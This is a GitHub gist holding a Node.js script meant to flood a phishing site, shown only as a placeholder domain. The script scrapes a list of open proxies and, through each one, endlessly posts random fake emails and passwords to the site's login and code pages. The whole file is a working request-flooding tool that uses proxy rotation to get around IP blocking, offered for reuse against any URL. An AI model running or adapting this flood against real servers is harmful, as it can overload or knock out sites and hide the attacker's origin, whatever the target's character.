Skip to content

Instantly share code, notes, and snippets.

@aboglioli
Created May 20, 2021 06:36
Show Gist options
  • Save aboglioli/64a4cce0d75795664f637b2f89705785 to your computer and use it in GitHub Desktop.
Save aboglioli/64a4cce0d75795664f637b2f89705785 to your computer and use it in GitHub Desktop.
Scammer website flood using proxy list
const axios = require('axios');
const HttpsProxyAgent = require('https-proxy-agent');
const cheerio = require('cheerio');
const getProxies = async () => {
const res = await axios.get('PROXY LIST');
const $ = cheerio.load(res.data);
const elements = $(
'body > div.wrap > div.services_proxylist.services > div > div.table_block > table > tbody > tr',
).toArray();
return elements.map(el => {
const ip = $(el).find('td:nth-child(1)').text();
const port = $(el).find('td:nth-child(2)').text();
return { ip, port };
});
};
const randStr = () => Math.random().toString(36).replace(/[^a-z]+/g, '');
const randEmail = () => `${randStr()}@${randStr()}.com`;
const randPassword = () => Math.random().toString(36).substr(1).replace('.', '');
async function main() {
const proxies = await getProxies();
console.log(`Proxies: ${proxies.length}`);
for (const proxy of proxies) {
console.log(`Proxy: ${proxy.ip}:${proxy.port}`);
const httpsAgent = new HttpsProxyAgent({ host: proxy.ip, port: proxy.port });
const client = axios.create({ httpsAgent });
try {
for (;;) {
const email = randEmail();
const password = randPassword();
await client.post('https://scammerdomain.com/validar/login.php', { email });
console.log(`- Email: ${email}`);
await client.post('https://scammerdomain.com/validar/codigo.php', { password });
console.log(`- Password: ${password}`);
}
} catch (err) {
console.log('- Error:', err.message);
}
}
}
main();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment